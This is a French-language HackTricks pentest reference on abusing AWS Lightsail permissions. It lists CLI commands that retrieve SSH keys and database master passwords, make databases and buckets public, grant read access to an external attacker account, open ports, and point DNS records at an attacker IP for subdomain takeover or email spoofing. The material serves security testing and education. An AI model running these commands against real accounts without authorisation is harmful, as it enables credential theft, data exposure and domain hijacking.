AWS - Lightsail Privesc

Support HackTricks

Lightsail

Pour plus d'informations sur Lightsail, consultez :

AWS - Lightsail Enum

Il est important de noter que Lightsail n'utilise pas les rôles IAM appartenant à l'utilisateur mais à un compte géré par AWS, donc vous ne pouvez pas abuser de ce service pour privesc. Cependant, des données sensibles telles que du code, des clés API et des informations sur les bases de données pourraient être trouvées dans ce service.

lightsail:DownloadDefaultKeyPair

Cette permission vous permettra d'obtenir les clés SSH pour accéder aux instances :

aws lightsail download-default-key-pair

Impact potentiel : Trouver des informations sensibles à l'intérieur des instances.

lightsail:GetInstanceAccessDetails

Cette autorisation vous permettra de générer des clés SSH pour accéder aux instances :

aws lightsail get-instance-access-details --instance-name <instance_name>

Impact potentiel : Trouver des informations sensibles à l'intérieur des instances.

lightsail:CreateBucketAccessKey

Cette autorisation vous permettra d'obtenir une clé pour accéder au bucket :

aws lightsail create-bucket-access-key --bucket-name <name>

Impact potentiel : Trouver des informations sensibles à l'intérieur du bucket.

lightsail:GetRelationalDatabaseMasterUserPassword

Cette autorisation vous permettra d'obtenir les identifiants pour accéder à la base de données :

aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Impact potentiel : Trouver des informations sensibles dans la base de données.

lightsail:UpdateRelationalDatabase

Cette autorisation vous permettra de changer le mot de passe pour accéder à la base de données :

aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Si la base de données n'est pas publique, vous pouvez également la rendre publique avec ces autorisations avec

aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Impact potentiel : Trouver des informations sensibles dans la base de données.

lightsail:OpenInstancePublicPorts

Cette permission permet d'ouvrir des ports vers Internet.

aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Impact potentiel : Accéder à des ports sensibles.

lightsail:PutInstancePublicPorts

Cette autorisation permet d'ouvrir des ports vers Internet. Notez que l'appel fermera tout port ouvert qui n'est pas spécifié.

aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Impact potentiel : Accéder à des ports sensibles.

lightsail:SetResourceAccessForBucket

Cette permission permet de donner à une instance l'accès à un bucket sans aucune autre information d'identification.

aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Impact potentiel : Accès potentiel à de nouveaux buckets contenant des informations sensibles.

lightsail:UpdateBucket

Avec cette autorisation, un attaquant pourrait accorder à son propre compte AWS un accès en lecture sur des buckets ou même rendre les buckets publics pour tout le monde :

# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Impact potentiel : Accès potentiel à de nouveaux buckets contenant des informations sensibles.

lightsail:UpdateContainerService

Avec ces autorisations, un attaquant pourrait accorder l'accès aux ECR privés depuis le service de conteneurs.

aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Impact potentiel : Obtenir des informations sensibles à partir d'ECR privé

lightsail:CreateDomainEntry

Un attaquant disposant de cette autorisation pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (prise de contrôle de sous-domaine), ou créer un enregistrement SPF qui lui permet de falsifier des e-mails depuis le domaine, ou même définir le domaine principal sur sa propre adresse IP.

aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Impact potentiel : Prise de contrôle d'un domaine

lightsail:UpdateDomainEntry

Un attaquant disposant de cette autorisation pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (prise de contrôle de sous-domaine), ou créer un enregistrement SPF qui lui permet de falsifier des e-mails depuis le domaine, ou même définir le domaine principal sur sa propre adresse IP.

aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Impact potentiel : Prise de contrôle d'un domaine

Soutenir HackTricks

Last updated